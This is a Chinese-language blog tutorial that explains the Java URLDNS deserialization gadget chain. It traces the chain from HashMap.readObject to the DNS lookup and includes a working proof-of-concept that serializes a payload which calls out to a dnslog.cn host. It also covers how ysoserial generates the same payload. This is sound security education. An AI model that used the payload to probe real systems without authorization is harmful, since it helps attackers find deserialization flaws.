Java安全之URLDNS链分析

Java安全之URLDNS链分析

前言

今天来复习一下URLDNS这条链,水一篇文章吧。也弥补了Java安全系列的入门必学的一个利用链的文章的空白。URLDNS链本身不能执行命令,多用于构造 DNS 操作的 payload,它被广泛用于演示和测试 Java 序列化的安全性问题。

Java反序列化

我们先来学一个简单的序列化和反序列化的demo

这里主要是写了一个可以序列化的Person类,其中包含了两个属性,分别是name和age。

在主函数中,我们先实例化一个对象person,然后调用serialize将其进行序列化,并且输出为person.bin,紧接着调用deserialize将person.bin文件进行反序列化为一个deserializedPerson对象,然后通过调用get方法的方式获取其属性值进行输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.garck3h.Javasecure;

/**
* Created by IntelliJ IDEA.
*
* @Author Garck3h
* @Date 2023/7/17 11:17 上午
* Life is endless, and there is no end to it.
**/
import java.io.*;

public class SerializeDemo {

public static void main(String[] args) {
// 创建一个待序列化的对象
Person person = new Person("Alice", 25);

// 序列化person对象到.ser文件
serialize(person, "person.bin");

// 从.ser文件反序列化对象
Person deserializedPerson = deserialize("person.bin");

// 打印反序列化后的对象信息
System.out.println("Name: " + deserializedPerson.getName());
System.out.println("Age: " + deserializedPerson.getAge());
}

// 序列化对象到person.bin文件
private static void serialize(Object object, String fileName) {
try (FileOutputStream fos = new FileOutputStream(fileName);
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(object);
System.out.println("Object serialized to " + fileName);
} catch (IOException e) {
e.printStackTrace();
}
}

// 从person.bin文件反序列化对象
private static Person deserialize(String fileName) {
try (FileInputStream fis = new FileInputStream(fileName);
ObjectInputStream ois = new ObjectInputStream(fis)) {
return (Person) ois.readObject();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
return null;
}

// 定义可序列化的Person类,包含了两个属性,分别是name和age
private static class Person implements Serializable {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
}

image

URLDNS

1
2
3
4
5
6
7
8
9
利用链:
HashMap.readObject(ObjectInputStream in)
HashMap.putVal()
HashMap -> hash()
URL -> hashCode()
URLStreamHandler -> hashCode()
URLStreamHandler -> getHostAddress()
URL -> getHostAddress()
InetAddress -> getByName()

首先,我们来看一下HashMap,HashMap是实现了Map<K,V>, Cloneable 和 Serializable 接口;意味着实现它的类可以被序列化。

image

然后我们来看到HashMap的readObject。这是重写了readObject,主要进行了读取序列化数据、校验参数、创建哈希表等;从而实现可以确保在反序列化后,HashMap 对象正确地包含之前序列化的键值对。这里我们重点看后面的hash(key)

image

跟进 hash (),可以看到,该方法接收一个 key 参数,这里主要实现计算键的哈希值,这个参数可以是任意类型的对象。

image

继续跟进去到了hashCode,返回对象的哈希码

image

在进行Java开发的过程当中会有很多类会直接或间接调用到hashCode()这个方法。我们点一下左边的按钮可以看到我这个版本的jdk里面大约有1175个方法重写了hashCode。当然我们这里可以直接看到URL类也是重写了hashCode。所以只要能够从前面的HashMap的readObject进入到 hash 以及参数可控,那么我们就可以利用了。

image

下面看一下URL重写的hashcode;声明一个整型变量 hashCode,并初始化为 -1;然后进行条件判断 (hashCode != -1),判断是否已经计算过哈希码。如果哈希码等于 -1,表示还未计算过哈希码,则调用 handler.hashCode(this) 方法,传入当前对象作为参数,计算对象的哈希码。

image

我们跟进到handler.hashCode;实现根据url对象的协议、主机、文件、端口和引用等属性,计算出一个唯一的哈希码作为对象的标识。重点看到353行调⽤ getHostAddress ⽅法,这个是生成主机部分的哈希码;继续跟进

image

在getHostAddress方法中,这里实现获取URL 对象的主机地址对应的 InetAddress 对象。如果没有缓存,会进行一次 DNS 解析来获取主机地址,并将结果进行缓存。这样可以减少重复的 DNS 解析开销,提高性能。

image

这时整体的思路就有了,首先是实例化一个 java.net.url对象,然后调用put传入给hashMap对象。然后再传入一个非-1的值作为参数,这样做是为了确保 HashMap 的插入操作不会触发DNS解析。最后将hashCode 字段的值设置为 -1,以使得在执行利用链时能够触发请求,也就是确保能调用执行handler.hashCode函数。

image

最终写出的一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.garck3h.Javasecure;

/**
* Created by IntelliJ IDEA.
*
* @Author Garck3h
* @Date 2023/7/17 11:12 上午
* Life is endless, and there is no end to it.
**/
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class demo {
public static void main(String[] args) throws Exception {
//实力化一个hashMap对象和一个URL对象
HashMap hashMap = new HashMap();
URL url = new URL("http://cm1b9l.dnslog.cn");

//这段代码通过反射获取了 url 对象的 hashCode 字段,并将其设置为可访问。
Field hashCodeField = url.getClass().getDeclaredField("hashCode");
hashCodeField.setAccessible(true);

// 避免创建payload时触发请求
hashCodeField.set(url, 0);
hashMap.put(url, null);
// 使利用链执行时能够触发请求
hashCodeField.set(url,-1);

//进行反序列化操作,输出为ser.bin文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
oos.writeObject(hashMap);
oos.close();
System.out.println("序列化成功");

//进行反序列化,以触发DNS解析
ObjectInputStream oosin = new ObjectInputStream(new FileInputStream("ser.bin"));
oosin.readObject();
oosin.close();
System.out.println("反序列化成功");
}
}

执行之后,最近收到了DNS解析的请求

image

Ysoserial.URLDNS

先是在主类GeneratePayload;获取指定的根据命令行参数获取 payload 的类型和要执行的命令。使用 Utils.getPayloadClass(payloadType) 方法获取与 payload 类型对应的 payload 类

image

我们来看到URLDNS类;实现了 ObjectPayload 接口的 URLDNS 类,用于生成一个包含指定 URL 的 HashMap 对象作为 payload

image

然后调用PayloadRunner.run;在PayloadRunner.run可以进行序列化,序列化好的结果则为payload

image

参考

https://mp.weixin.qq.com/s/nMkV__cVYarjnTYsNPKMGg

http://blog.m1kael.cn/index.php/archives/449/